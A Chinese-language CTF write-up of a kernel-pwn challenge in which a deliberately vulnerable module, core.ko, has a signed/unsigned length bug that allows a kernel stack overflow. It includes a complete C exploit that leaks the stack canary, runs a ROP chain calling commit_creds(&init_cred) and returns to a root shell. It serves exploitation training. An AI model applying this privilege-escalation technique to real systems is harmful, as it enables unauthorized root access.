经典入门kernel-pwn,漏洞很简单,就是一个内核栈溢出。
老规矩,查看启动脚本 start.sh,发现开启了kaslr保护:
这里我已经把内存改成了 256M,题目原来好像是 64M,如果你启动不起来,就把内存调大点
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
解压文件系统,查看 init.sh 脚本:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
将内核符号表复制了一份到 tmp 目录下,而 tmp 普通用户是有权限访问的。
题目设置了定时关机,可以先去掉。
很明显,我们的漏洞程序应当就是 core.ko 模块了。checksec 一下,发现开启了canary和NX保护
程序分析
在 init_module 函数中创建了一个虚拟文件,父目录文件夹参数指定为0,则会直接在 /proc 下面创建虚拟文件 core;core_fops 是操作该文件的函数表,用户可自定义。
注意:与磁盘文件系统不同,proc文件系统是存在于内存中的,还有一个存在内存中的文件系统是sys,所以这两个也称为内存文件系统
在函数表中,自定义了如下函数:
其中 core_release 没啥用,我们主要看 core_write 与 core_ioctl
core_write
就是单纯的往内核全局变量 name 中写入字符,不超过0x800个
core_ioctl
在该函数中,可以调用 core_read 和 core_copy_func 函数,并且可以修改 off 的值
我们先看下 core_read 函数:
该函数可以允许我们读取内核栈上的数据,只能读取 0x40 个字节。但是读取的起始位置由 off 控制,而在上面我们说了可以控制 off 变量,所以我们可以通过 core_read 泄漏 canary
在看下 core_copy_func 函数:
该函数会将name中的值复制到内核栈上,但是这里存在溢出,说实话已经很明显了。比较的时候使用的有符号数,复制的时候使用的是无符号数,所以我们传入负数就可以去覆盖返回地址了。
漏洞利用
分析完整个流程就很简单了
首先利用 core_read 配合 off 去泄漏 canary;然后在利用栈溢出往栈上写入 rop 链。
注意:内核栈是非常小的,所以最后不要直接传入-1,不然会导致覆盖到其他函数的栈帧。亲测传入-1的时候,内核检测到了栈溢出
最终 exp 如下:这里我直接打的 commit_creds(&init_cred)
// gcc exp.c -static -masm=intel -o exp
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <sys/types.h>
static size_t pop_rdi = 0xffffffff81000b2f; // pop rdi ; ret
static size_t swapgs = 0xffffffff81a012da; // swapgs ; popfq ; ret
static size_t iretq = 0xffffffff81050ac2;
static size_t commit_creds = 0, prepare_kernel_cred = 0;
static size_t init_cred = 0xffffffff8223d1a0;
int fd;
size_t user_cs, user_ss, user_rsp, user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[32m[+]save status successfully\033[0m");
}
void core_read(char* buf)
{
ioctl(fd, 0x6677889B, buf);
}
void set_off(size_t off)
{
ioctl(fd, 0x6677889C, off);
}
void core_copy(long long len)
{
ioctl(fd, 0x6677889A, len);
}
int find_syms()
{
FILE* fp = fopen("/tmp/kallsyms", "r");
size_t addr;
char type[5], name[0x50];
while (fscanf(fp, "%lx%s%s", &addr, type, name))
{
if (commit_creds && prepare_kernel_cred) return 1;
else if (!commit_creds && !strcmp(name, "commit_creds")) commit_creds = addr;
else if (!prepare_kernel_cred && !strcmp(name, "prepare_kernel_cred")) prepare_kernel_cred = addr;
}
return 0;
}
void get_root_shell()
{
if (!getuid())
{
puts("\033[32m[+]Root privilege");
system("/bin/sh");
} else {
puts("\033[31m[X]Failed to get root privilege");
exit(-1);
}
}
int main(int argc, char** argv, char** env)
{
save_status();
fd = open("/proc/core", O_RDWR);
size_t offset, rop[0x100], buf[0x30], canary;
int res = find_syms();
if (res) offset = commit_creds - 0xffffffff8109c8e0;
else puts("\033[31m[X]Failed to find syms\033[0m"), exit(-1);
printf("\033[32m[+]commit_creds: %#lx\n\033[0m", commit_creds);
printf("\033[32m[+]prepare_kernel_cred: %#lx\n\033[0m", prepare_kernel_cred);
printf("\033[32m[+]offset: %#lx\n\033[0m", offset);
set_off(0x40);
core_read((char*)buf);
canary = buf[0];
printf("\033[32m[+]canary: %#lx\n\033[0m", canary);
int i = 0;
for (i = 0; i < 10; i++) rop[i] = canary;
rop[i++] = pop_rdi+offset;
rop[i++] = init_cred+offset;
rop[i++] = commit_creds;
rop[i++] = swapgs+offset;
rop[i++] = 0;
rop[i++] = iretq+offset;
rop[i++] = get_root_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_rsp;
rop[i++] = user_ss;
write(fd, rop, 0x200);
core_copy(0xffffffffffff0000 | (0xA8));
//core_copy(-1);
return 0;
}
然后重新打包一下文件系统,运行效果如下:
遇到的问题
其实这道题我倒是没有啥问题,但是这道题我搞了一天,为啥呢?
这里给大家一个程序:
#include <stdio.h>
size_t offset;
int main(int argc, char** argv, char** env)
{
offset = 20;
return 0;
}
但我们使用 gcc -masm=intel 时你会发现:
而我在exp中,一开始就是把 offset 定义成的全局变量,然后就一直报这个 "无效的寄存器" 错误。至于原因,我找遍了互联网,没找到,本来想去 stackoverflow 问的,结果 vbn 挂了。我感觉就是它在代码中一部分是 AT&T 汇编,一部分是 intel 汇编,但是当我使用 gcc -S 时,发现并非如此。
还有一点就是我定义了那么多全局变量,为啥就单独这个 offset 会报这个错呢?所以挺无语的